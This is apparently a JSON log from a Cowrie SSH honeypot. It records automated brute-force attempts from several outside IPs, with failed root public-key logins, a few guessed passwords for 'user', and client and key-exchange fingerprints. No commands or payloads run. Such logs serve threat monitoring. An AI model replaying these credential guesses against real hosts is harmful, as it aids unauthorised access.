{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:59:5f:52:0a:02:21:31:90:64:2c:a2:2f:f4:e7:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7e8cdh7ktTAF5ZFBnPWsKcqD2LDnxPjETV5FSihI/AuiA6emDeSK7Wjhj8M3qwdjPp+zoegVsVYZQKk5DMJG0IHFLKNYE855f8556CHiUYLSwxD8CtKccG5eL1huPwkw3wVQD8xJ8/aP7xI3XPx8/4wIpJSKwgpmmiwjUYeipnsHoKgJfPzV7HaKivmLYHEN+5rtRlCTWt86T+v/pTbpNbki4uUi6m8Qlkw1NvMBPjdL3jrNbxjSRh8zWm4vPOXPYQE4dzRYbQ5+11MVqbO9qOGHnQ4TXx9yP0o47Jeau1zfbfD6vNgoVgvctp68Dtw7YSJY8ZQYdtG8glx9v8Ma1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.401887Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:cd:aa:ec:f5:9b:ed:fb:60:d2:de:e1:10:49:7b:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI/F9d/GKcwMfmx0Wfi1p/fQrHi+D8PXMABnKjXNYP9LQnQ2qhDKo7VqJUOdTewcp/GtsdsEmk0jEMjEoadQozXGTgZ5WaFxNNSx7QqBC1pAnLrwCGmi71gZI9nEu6u8eCFqsor0vfPuiqKAe88siWFkbBrkWL+a9Fol+ogG2MT/SSEZYKfLGEZurf4YHSHFYys1Ecu3Xsp1wtKvNCxNwJ4WALzTavZ8qYhEMusX521QCYxDJ5D0BUpLaUuAKO6TWVA1HQNGkkfh4NklqdPcKmOmvCrS2Hx1gys49tTybWUDsvNkSIjF6ZvRFqnu7AruyiJgeg8FGIZR3bA7jWiJoT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:cd:aa:ec:f5:9b:ed:fb:60:d2:de:e1:10:49:7b:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.422972Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:cd:aa:ec:f5:9b:ed:fb:60:d2:de:e1:10:49:7b:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI/F9d/GKcwMfmx0Wfi1p/fQrHi+D8PXMABnKjXNYP9LQnQ2qhDKo7VqJUOdTewcp/GtsdsEmk0jEMjEoadQozXGTgZ5WaFxNNSx7QqBC1pAnLrwCGmi71gZI9nEu6u8eCFqsor0vfPuiqKAe88siWFkbBrkWL+a9Fol+ogG2MT/SSEZYKfLGEZurf4YHSHFYys1Ecu3Xsp1wtKvNCxNwJ4WALzTavZ8qYhEMusX521QCYxDJ5D0BUpLaUuAKO6TWVA1HQNGkkfh4NklqdPcKmOmvCrS2Hx1gys49tTybWUDsvNkSIjF6ZvRFqnu7AruyiJgeg8FGIZR3bA7jWiJoT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.426531Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:5c:85:50:45:e7:fd:2d:c8:ff:63:a1:a7:a9:53:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8EcOaiP3aATC0PqYQJ6e3o43OhC7maR7Mkob9G0WSyXeLoWsMkJoFXqQXYrDHrdQDu5nkPAweBs3edvckiKoVmXge0hXjCuWlXgSjphI/VjgmrQYxeZ23aoDVcTgI42dAj6uWxbz1mrfNtlH4XISbt0PIWlJ2A9/OeYYrBBLfeesmOyT0wAUSE/XHOAvbXInJzrS2vgDEzHYmjwj4CgHUCfRoHrPVQlpcVRYYAvU/DyhtH/kW/v+gEFEf7KX+IfswRmohh4pHyIcCL4aPGBixuxqVsJU16DUCQmj5qEIWLuC9v3G5EdNcB8O6z5HvHVWHuWAzylkuP+bF/RG1xeKb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:5c:85:50:45:e7:fd:2d:c8:ff:63:a1:a7:a9:53:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.447261Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:5c:85:50:45:e7:fd:2d:c8:ff:63:a1:a7:a9:53:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8EcOaiP3aATC0PqYQJ6e3o43OhC7maR7Mkob9G0WSyXeLoWsMkJoFXqQXYrDHrdQDu5nkPAweBs3edvckiKoVmXge0hXjCuWlXgSjphI/VjgmrQYxeZ23aoDVcTgI42dAj6uWxbz1mrfNtlH4XISbt0PIWlJ2A9/OeYYrBBLfeesmOyT0wAUSE/XHOAvbXInJzrS2vgDEzHYmjwj4CgHUCfRoHrPVQlpcVRYYAvU/DyhtH/kW/v+gEFEf7KX+IfswRmohh4pHyIcCL4aPGBixuxqVsJU16DUCQmj5qEIWLuC9v3G5EdNcB8O6z5HvHVWHuWAzylkuP+bF/RG1xeKb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.451135Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:fb:f5:88:b2:2b:6a:ff:b2:1c:35:d9:65:38:e1:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC151J6gAASzJYV64rvkwK6IRJxvFocUsvYaKUbEMc0Tu6lepq8d7cBnyihB/+4FkSycl+YLWgHqe8eheGOHcz1WautTOjpqseCVfT1UzkI8E+RbVjnhqWI3pDdF1z+4B4GJQ4oG3ou72AeGto9nk5YhDUuei6elA/jqgDN6RTjexpn2EMWmMCYFfPuDc/x3MN0MyzZRuS0WpAkS8+uJX6x4tv1seWfbeHFerT+X7fMK+k/22s66fzWrX+oMxmLAfoSpL0pqQZjLBszlKbFFTaOWlrpXswjMmSG+mTzVMO7kDVjvYOsCpaCg3RTjqI1Y/3/3ddlWuYjag4HH0gokc0n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:fb:f5:88:b2:2b:6a:ff:b2:1c:35:d9:65:38:e1:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.471356Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:fb:f5:88:b2:2b:6a:ff:b2:1c:35:d9:65:38:e1:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC151J6gAASzJYV64rvkwK6IRJxvFocUsvYaKUbEMc0Tu6lepq8d7cBnyihB/+4FkSycl+YLWgHqe8eheGOHcz1WautTOjpqseCVfT1UzkI8E+RbVjnhqWI3pDdF1z+4B4GJQ4oG3ou72AeGto9nk5YhDUuei6elA/jqgDN6RTjexpn2EMWmMCYFfPuDc/x3MN0MyzZRuS0WpAkS8+uJX6x4tv1seWfbeHFerT+X7fMK+k/22s66fzWrX+oMxmLAfoSpL0pqQZjLBszlKbFFTaOWlrpXswjMmSG+mTzVMO7kDVjvYOsCpaCg3RTjqI1Y/3/3ddlWuYjag4HH0gokc0n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.474810Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:94:96:8d:e2:36:75:9b:a6:0a:b0:22:3c:ee:ea:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJMtmyMUfr8QMMTsPQZFSaHCJSufuYXbjgxbCscoi+cF8S9+zBTpF9n9qaQfchy3FfM2J1mzdViM3U8WJBIruwxBiDGcHmt8mBW5d50ikq5xmEszJ80fh5zxWzN/VYI+OC7Cp6ACHU+nPYlihMO+ynQyoAm2KlJNcIjnGE2EwIbnIPBt/cIroWxaQMtxdJusCaoRFw6Med+XMUl9MZjt6l9SbrjMggFgOeg4GSseqZSEPfaGflsHKMoMailxEoBLz2sZUKgnGrJ75X3gfO6ajNT0NLUuTWTG940XV2OuOr9IPMVbS7pqjxdcsA3v4S0bLUfJi1Ne8c09n1LHwcCf0j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:94:96:8d:e2:36:75:9b:a6:0a:b0:22:3c:ee:ea:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.497144Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:94:96:8d:e2:36:75:9b:a6:0a:b0:22:3c:ee:ea:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJMtmyMUfr8QMMTsPQZFSaHCJSufuYXbjgxbCscoi+cF8S9+zBTpF9n9qaQfchy3FfM2J1mzdViM3U8WJBIruwxBiDGcHmt8mBW5d50ikq5xmEszJ80fh5zxWzN/VYI+OC7Cp6ACHU+nPYlihMO+ynQyoAm2KlJNcIjnGE2EwIbnIPBt/cIroWxaQMtxdJusCaoRFw6Med+XMUl9MZjt6l9SbrjMggFgOeg4GSseqZSEPfaGflsHKMoMailxEoBLz2sZUKgnGrJ75X3gfO6ajNT0NLUuTWTG940XV2OuOr9IPMVbS7pqjxdcsA3v4S0bLUfJi1Ne8c09n1LHwcCf0j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.501366Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.523814Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1212121","message":"login attempt [user/1212121] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:34.286185Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121188","message":"login attempt [user/121188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:35.386391Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121182","message":"login attempt [user/121182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:36.485773Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:37.587601Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.79.153.34","src_port":11896,"dst_ip":"10.17.0.5","dst_port":22,"session":"557df07db4c2","protocol":"ssh","message":"New connection: 185.79.153.34:11896 (10.17.0.5:22) [session: 557df07db4c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:55.509120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:55.514036Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:55.600028Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:63:7d:90:dc:33:7a:17:d7:65:0a:06:17:5b:fb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1ml8MDWqkh1NGdhXXceNp+lxqrQ0NEymlZt+s6zL1RoCmcKEUJ1ObG0+0M8VvHXhdjWxvsYveq8x7aE04YZPPR6lGLiGZ77ODUZa34DGnNiWtJgfYzMD5KHVvRdmsW7wKHCE7gTKke+z0fFo8CzVDacsomLHe7uvUi5cH2sCTxDJoiQSdcHRzyMIQV5N3Srh0qoK4EJ8loYVPYoCvwmM0nsDbdL55uNlozh0W8G0vI73yHQ93tJsuLKGmGaQs5Z2x3+G5H5C2hOVrgsBQJjGD+qoCdVbF99Ts0RmUtOkOCMK6peb7Z+/g9SgGcB4zPM3rMSnhrX/BE8m5V1sI5L5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:63:7d:90:dc:33:7a:17:d7:65:0a:06:17:5b:fb:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:55.993669Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:63:7d:90:dc:33:7a:17:d7:65:0a:06:17:5b:fb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1ml8MDWqkh1NGdhXXceNp+lxqrQ0NEymlZt+s6zL1RoCmcKEUJ1ObG0+0M8VvHXhdjWxvsYveq8x7aE04YZPPR6lGLiGZ77ODUZa34DGnNiWtJgfYzMD5KHVvRdmsW7wKHCE7gTKke+z0fFo8CzVDacsomLHe7uvUi5cH2sCTxDJoiQSdcHRzyMIQV5N3Srh0qoK4EJ8loYVPYoCvwmM0nsDbdL55uNlozh0W8G0vI73yHQ93tJsuLKGmGaQs5Z2x3+G5H5C2hOVrgsBQJjGD+qoCdVbF99Ts0RmUtOkOCMK6peb7Z+/g9SgGcB4zPM3rMSnhrX/BE8m5V1sI5L5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:55.997520Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:15:70:9a:97:bc:f4:c9:eb:0c:b8:6e:a7:e5:20:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEjv8iRrUacB4Uk1kh1L6dcAiMpwdqjD+HaGkky7i96","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 22:15:70:9a:97:bc:f4:c9:eb:0c:b8:6e:a7:e5:20:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.085872Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:15:70:9a:97:bc:f4:c9:eb:0c:b8:6e:a7:e5:20:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEjv8iRrUacB4Uk1kh1L6dcAiMpwdqjD+HaGkky7i96","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.090216Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:69:97:c9:53:fa:04:d8:75:f9:91:b5:6e:39:4b:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI3AD7vDE53AlM6jDnwJYztqBp+jbyuyngYhVPiku0IiDp3xD0tGHq54fGtHZL4ySWXqSMdJU8QjU7FCRue+2Xcxb1s+SH5t8Ih77aSrUzIDiUBAzkrqF+L0/F129GXalxHe9hSfyzDubNlF4DbW4VQHhO6vECwrLhXVpVmgcEnFAAAAFQClEjejrGdsdhW4nE/j4UjURmRKmwAAAIADiPcN6v4E1+6vHdKUjZ9u1GtP4DHEWCo2TtPLOO1wDvnNog3MgHs/9ULbG/mzSdN8Bh+s3WgDnWE0EqNkLl7kjTNIw11EmOD1KZT8E42ya/THwxqrq43RbY6AdeZCmZRNQxXERiGWWaSghnKK7xfYmKQxHaEcD5GG6NC5FH9/xAAAAIAcEewtlq0LyJ0yCt9RPsq5OgKvz8N3B/5pf06ghhAfmkRwwf88h4sRXm5X0JI26+d9WkdxFmR2g1QzdsrESQ5qG8ncugZWn+bFGf/qOgldQWJPZUvBbGF9F6z9AaM6wDElHTT+dAYtPmCy17UQ4Sn5nSZUvRh4A4j51mOee4dAXw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 49:69:97:c9:53:fa:04:d8:75:f9:91:b5:6e:39:4b:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.173907Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:69:97:c9:53:fa:04:d8:75:f9:91:b5:6e:39:4b:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI3AD7vDE53AlM6jDnwJYztqBp+jbyuyngYhVPiku0IiDp3xD0tGHq54fGtHZL4ySWXqSMdJU8QjU7FCRue+2Xcxb1s+SH5t8Ih77aSrUzIDiUBAzkrqF+L0/F129GXalxHe9hSfyzDubNlF4DbW4VQHhO6vECwrLhXVpVmgcEnFAAAAFQClEjejrGdsdhW4nE/j4UjURmRKmwAAAIADiPcN6v4E1+6vHdKUjZ9u1GtP4DHEWCo2TtPLOO1wDvnNog3MgHs/9ULbG/mzSdN8Bh+s3WgDnWE0EqNkLl7kjTNIw11EmOD1KZT8E42ya/THwxqrq43RbY6AdeZCmZRNQxXERiGWWaSghnKK7xfYmKQxHaEcD5GG6NC5FH9/xAAAAIAcEewtlq0LyJ0yCt9RPsq5OgKvz8N3B/5pf06ghhAfmkRwwf88h4sRXm5X0JI26+d9WkdxFmR2g1QzdsrESQ5qG8ncugZWn+bFGf/qOgldQWJPZUvBbGF9F6z9AaM6wDElHTT+dAYtPmCy17UQ4Sn5nSZUvRh4A4j51mOee4dAXw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.178358Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:75:73:df:dd:12:31:5a:57:7a:8f:15:7f:1c:2e:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEN5CUBmEbhzFtCFaCs7n+Zn006aKm5E+Id3gbnYJmx3+KIg7Nijqhxn+S2wxi/8LsIgxsQAKS1cMGsMDqvnegpW7NFOA2BT0syY5DQ0/aBcKGNIRlBdqcwiMNk85+jCHhIpcdqnhqnPM4LaE6ypAliwwpxP3TnPPWKtiWIa9gInEatQG+DT0qO75RFvPfKW6kgF3Ppoh5HCu+NuIZpbPVGWEbk4qC37hau2Cai00RNdkVAc2RToa3sZiodCSJO+YdYLCnA0ysC4I8xIjqgJUU96tjrPA+NAxZIpzeaN/Cc7WmOwvolL/DQ3Q6oe3ev7yziJ/NiyJ6BE0ulKo2BTGL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:75:73:df:dd:12:31:5a:57:7a:8f:15:7f:1c:2e:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.263163Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:75:73:df:dd:12:31:5a:57:7a:8f:15:7f:1c:2e:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEN5CUBmEbhzFtCFaCs7n+Zn006aKm5E+Id3gbnYJmx3+KIg7Nijqhxn+S2wxi/8LsIgxsQAKS1cMGsMDqvnegpW7NFOA2BT0syY5DQ0/aBcKGNIRlBdqcwiMNk85+jCHhIpcdqnhqnPM4LaE6ypAliwwpxP3TnPPWKtiWIa9gInEatQG+DT0qO75RFvPfKW6kgF3Ppoh5HCu+NuIZpbPVGWEbk4qC37hau2Cai00RNdkVAc2RToa3sZiodCSJO+YdYLCnA0ysC4I8xIjqgJUU96tjrPA+NAxZIpzeaN/Cc7WmOwvolL/DQ3Q6oe3ev7yziJ/NiyJ6BE0ulKo2BTGL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.266215Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:95:ba:2e:27:6c:3c:5b:cd:c7:cb:5f:94:cf:75:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe3JQYCreFaypRTCBg7yUhDwzMWd29s6lgqTcRKjL5dls4/DsqFq78Nki5Qn9kZ1aQsRVDB1kuBtuHzKdMSPw49gfZs9gCm1jNou7Jo37pbmQRcbbyNhjvhG8dyckDV+q4E8ILBaue1Q9Vjw1Ay9mISzH0Mw0AHOSbWiVxDhKkqzFKmEsBfFl+q2v0Qa3l/ak8/WQS3iLS5Dt8BY6jz9Vzf5tjPXnw+Z/JshzDRsTK82IhCBKusNjjyyRjdORnM9D1BDrPYgEEB6Jll+toNDYy3Gv1ly0e/7DeXpAixrt2a36tEv7BWt94kYyWG0TwzAMum91t1tausuflzRY9yYZf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:95:ba:2e:27:6c:3c:5b:cd:c7:cb:5f:94:cf:75:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.348335Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:95:ba:2e:27:6c:3c:5b:cd:c7:cb:5f:94:cf:75:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe3JQYCreFaypRTCBg7yUhDwzMWd29s6lgqTcRKjL5dls4/DsqFq78Nki5Qn9kZ1aQsRVDB1kuBtuHzKdMSPw49gfZs9gCm1jNou7Jo37pbmQRcbbyNhjvhG8dyckDV+q4E8ILBaue1Q9Vjw1Ay9mISzH0Mw0AHOSbWiVxDhKkqzFKmEsBfFl+q2v0Qa3l/ak8/WQS3iLS5Dt8BY6jz9Vzf5tjPXnw+Z/JshzDRsTK82IhCBKusNjjyyRjdORnM9D1BDrPYgEEB6Jll+toNDYy3Gv1ly0e/7DeXpAixrt2a36tEv7BWt94kYyWG0TwzAMum91t1tausuflzRY9yYZf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.351968Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:06:56.434730Z","src_ip":"185.79.153.34","session":"557df07db4c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":61881,"dst_ip":"10.17.0.5","dst_port":22,"session":"1144da80a3e8","protocol":"ssh","message":"New connection: 79.127.181.103:61881 (10.17.0.5:22) [session: 1144da80a3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:01.709223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:01.915572Z","src_ip":"79.127.181.103","session":"1144da80a3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:02.115945Z","src_ip":"79.127.181.103","session":"1144da80a3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:02.123942Z","src_ip":"79.127.181.103","session":"1144da80a3e8","protocol":"ssh"}
